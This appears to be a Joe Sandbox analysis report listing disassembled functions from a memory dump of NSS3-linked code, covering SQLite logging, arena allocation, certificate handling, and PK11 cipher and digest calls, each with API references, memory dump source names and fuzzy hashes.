sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB051BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CB051DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB051A5
misuse, xrefs: 6CB051AF
%s at line %d of [%.10s], xrefs: 6CB051B4

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 067bc9db1c6bd38c13b3661686fc99904c6392633cbb86c8bcdd884a1d4e4a8d
Instruction ID: e5c898d13e73ab0efa67839b7c5e6f2f83096ff136b1ee81cdb120399c249f57
Opcode Fuzzy Hash: 067bc9db1c6bd38c13b3661686fc99904c6392633cbb86c8bcdd884a1d4e4a8d
Instruction Fuzzy Hash: 4A71AE757042499FDF00CE55CC80B9E7BB9FF48308F144524ED099BA81E731E859CBAA

Function 6CB72D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CB72D69

Strings

winUnmapfile2, xrefs: 6CB72F7F
winTruncate2, xrefs: 6CB72EF8
winUnmapfile1, xrefs: 6CB72F55
winSeekFile, xrefs: 6CB72E9C
winTruncate1, xrefs: 6CB72EBE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 6d6bacc0369b99474599ec491d8df87599ace80887eac44062cc6831828a2836
Instruction ID: b945a07b6a359323d8fa5488691c962d136aa6fc0f43ada4057c8765e36a8153
Opcode Fuzzy Hash: 6d6bacc0369b99474599ec491d8df87599ace80887eac44062cc6831828a2836
Instruction Fuzzy Hash: 5661AE75B00204DFDB54CF68D884AAA77B1FB49314F10852DED269B780EB31AD06CBA2

Function 6CBEFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBEFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CBEF165,6CCB219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBEFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CBEF165,?), ref: 6CBF00A6

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 0f192b2f901fd9152fc62d0c4ab058975aad74e07e439a0a627a0d3793ae5103
Instruction ID: 188e7d35acb777739568068669993e547ad5182fa1bee1ae8c4049bb733e8d5d
Opcode Fuzzy Hash: 0f192b2f901fd9152fc62d0c4ab058975aad74e07e439a0a627a0d3793ae5103
Instruction Fuzzy Hash: 32512671E002999FDB108F68D8807AEB7BAFF49358F280229DC25A7B50D331AC05CBD1

Function 6CBADEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBADF37
EnterCriticalSection.KERNEL32(?), ref: 6CBADF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBADF96
PR_SetError.NSS3(00000000,00000000), ref: 6CBAE02B
PR_Unlock.NSS3(?), ref: 6CBAE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBAE090
PR_Unlock.NSS3(?), ref: 6CBAE0AF

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: d91e3535ba3f200988b04c332f5ddde082938c0ea319847d3e442494de9b9294
Instruction ID: 246b10bd40a4147bee80a62c5b73cc9da2af4a17aa3c7a3dd6a23f76a3645fbf
Opcode Fuzzy Hash: d91e3535ba3f200988b04c332f5ddde082938c0ea319847d3e442494de9b9294
Instruction Fuzzy Hash: 8A51D3305086808FEB309FA5D845B5B73B9FF48308F204529E8D647B91D736E95ACBD2

Function 6CBABCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CBABD1E

Part of subcall function 6CB82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB82F0A
Part of subcall function 6CB82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB82F1D

Part of subcall function 6CBC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB8B41E,00000000,00000000,?,00000000,?,6CB8B41E,00000000,00000000,00000001,?), ref: 6CBC57E0
Part of subcall function 6CBC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CBC5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBABD8C

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CBABD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CBABDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBABE3A

Part of subcall function 6CB83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB83EC2
Part of subcall function 6CB83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB83ED6
Part of subcall function 6CB83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB83EEE
Part of subcall function 6CB83E60: PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB83F02
Part of subcall function 6CB83E60: PL_FreeArenaPool.NSS3 ref: 6CB83F14
Part of subcall function 6CB83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB83F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBABE52

Part of subcall function 6CB82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB82CDA,?,00000000), ref: 6CB82E1E
Part of subcall function 6CB82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB82E33
Part of subcall function 6CB82E00: TlsGetValue.KERNEL32 ref: 6CB82E4E
Part of subcall function 6CB82E00: EnterCriticalSection.KERNEL32(?), ref: 6CB82E5E
Part of subcall function 6CB82E00: PL_HashTableLookup.NSS3(?), ref: 6CB82E71
Part of subcall function 6CB82E00: PL_HashTableRemove.NSS3(?), ref: 6CB82E84
Part of subcall function 6CB82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB82E96
Part of subcall function 6CB82E00: PR_Unlock.NSS3 ref: 6CB82EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBABE61

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 42b7b428facdf2f253f46d3822b80a991ddcb01629fa8a5128838b314a41023c
Instruction ID: 1985cc7816ed3045e5677f1e5041c8d0fbee8c1e75c723d951621121135994d2
Opcode Fuzzy Hash: 42b7b428facdf2f253f46d3822b80a991ddcb01629fa8a5128838b314a41023c
Instruction Fuzzy Hash: 7B4102B5A04260AFC710CF68DC80B6E77E4EF49718F058468F99997711E731ED09CBA2

Function 6CBCAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CBCAB3E,?,?,?), ref: 6CBCAC35

Part of subcall function 6CBACEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CBACF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CBCAB3E,?,?,?), ref: 6CBCAC55

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CBCAB3E,?,?), ref: 6CBCAC70

Part of subcall function 6CBAE300: TlsGetValue.KERNEL32 ref: 6CBAE33C
Part of subcall function 6CBAE300: EnterCriticalSection.KERNEL32(?), ref: 6CBAE350
Part of subcall function 6CBAE300: PR_Unlock.NSS3(?), ref: 6CBAE5BC
Part of subcall function 6CBAE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CBAE5CA
Part of subcall function 6CBAE300: TlsGetValue.KERNEL32 ref: 6CBAE5F2
Part of subcall function 6CBAE300: EnterCriticalSection.KERNEL32(?), ref: 6CBAE606
Part of subcall function 6CBAE300: PORT_Alloc_Util.NSS3(?), ref: 6CBAE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CBCAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBCAB3E), ref: 6CBCACD7
PORT_Alloc_Util.NSS3(?), ref: 6CBCAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CBCAD2B

Part of subcall function 6CBAF360: TlsGetValue.KERNEL32(00000000,?,6CBCA904,?), ref: 6CBAF38B
Part of subcall function 6CBAF360: EnterCriticalSection.KERNEL32(?,?,?,6CBCA904,?), ref: 6CBAF3A0
Part of subcall function 6CBAF360: PR_Unlock.NSS3(?,?,?,?,6CBCA904,?), ref: 6CBAF3D3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d214edb0653627ce2a9cac3bc205370e2addf1a2745a8273381c69c10418798c
Instruction ID: d7904413b49efbc8b3a6ad4f489718736c2122807fc8c59ae88b3af04ca93d2a
Opcode Fuzzy Hash: d214edb0653627ce2a9cac3bc205370e2addf1a2745a8273381c69c10418798c
Instruction Fuzzy Hash: C2313BB1F006595FEB008F69CC409AF77B6EF8471CB188128E81597740EB31ED16CBA2

Function 6CBA8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CBA8C7C

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA8CB0
TlsGetValue.KERNEL32 ref: 6CBA8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CBA8CE5
PR_Unlock.NSS3(?), ref: 6CBA8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CBA8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBA8D93

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 530dd6b87eed08630f0f304fed26b3cd51761b099f35a189a59d815f790037b9
Instruction ID: 2a6f2456304fb6bf3a2093306bf578c650526b9a91efd2c6bcfbf41f086fd4cd
Opcode Fuzzy Hash: 530dd6b87eed08630f0f304fed26b3cd51761b099f35a189a59d815f790037b9
Instruction Fuzzy Hash: A7316A71E04291AFE700AFA8DC4079AB7B4FF15318F14013AEA9567F50E732A925CBD2

Function 6CBE9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CBE9C5B), ref: 6CBE9D82

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CBE9C5B), ref: 6CBE9DA9

Part of subcall function 6CBE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE136A
Part of subcall function 6CBE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE137E
Part of subcall function 6CBE1340: PL_ArenaGrow.NSS3(?,6CB7F599,?,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?), ref: 6CBE13CF
Part of subcall function 6CBE1340: PR_Unlock.NSS3(?,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CBE9C5B), ref: 6CBE9DCE

Part of subcall function 6CBE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE13F0
Part of subcall function 6CBE1340: PL_ArenaGrow.NSS3(?,6CB7F599,?,?,?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CBE1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CBE9C5B), ref: 6CBE9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CBE9C5B), ref: 6CBE9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CBE9C5B), ref: 6CBE9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CBE9C5B), ref: 6CBE9E91

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

Part of subcall function 6CBE1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CBDFAAB,00000000), ref: 6CBE157E
Part of subcall function 6CBE1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CBDFAAB,00000000), ref: 6CBE1592
Part of subcall function 6CBE1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CBE1600
Part of subcall function 6CBE1560: PL_ArenaRelease.NSS3(?,?), ref: 6CBE1620
Part of subcall function 6CBE1560: PR_Unlock.NSS3(?), ref: 6CBE1639

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 75e803ea4c05373dd57930897c9c0f49a463e0281b3e9d98fe30d8623656a153
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 6B41B6B4901642AFE700CF15D840B96B7A5FF49788F288128D9144BFA1EB72E838CFC1

Function 6CBADDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CBADDEC

Part of subcall function 6CBE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CBADE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CBADE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CBADE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CBADEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBADEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBADECC

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 5f94f7ec51ead0b05475317cd00494a1a5675d32d58449a619697257507e2b01
Instruction ID: 36b0397dea45b4c37e53fc7450b11f5a45217e1115a6738357821699a4c7da3e
Opcode Fuzzy Hash: 5f94f7ec51ead0b05475317cd00494a1a5675d32d58449a619697257507e2b01
Instruction Fuzzy Hash: 1B31A6B29042946BDF00AEB4AC41BBF76B8DF54708F050125ED49A7701FB31DD19C6E2

Function 6CB87E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB87E48

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CB87E5B

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB87E7B

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CCA925C,?), ref: 6CB87E92

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB87EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CB87ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CB87EFA

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 3a9519a0e74d8514df350911173386952a8f491e5e7641511bad61b3d66c3eef
Instruction ID: 4c43238f42de58601c937fbb2e8b188c6d687f24e9af1e9a1fa4e32d07a12f7c
Opcode Fuzzy Hash: 3a9519a0e74d8514df350911173386952a8f491e5e7641511bad61b3d66c3eef
Instruction Fuzzy Hash: 00317EB2B022919BEB108B699C40B5B73ACEF5465DF194924EC55EBB41F770EC04CBB1

Function 6CBDDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CBDD9E4,00000000), ref: 6CBDDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CBDD9E4,00000000), ref: 6CBDDC4E
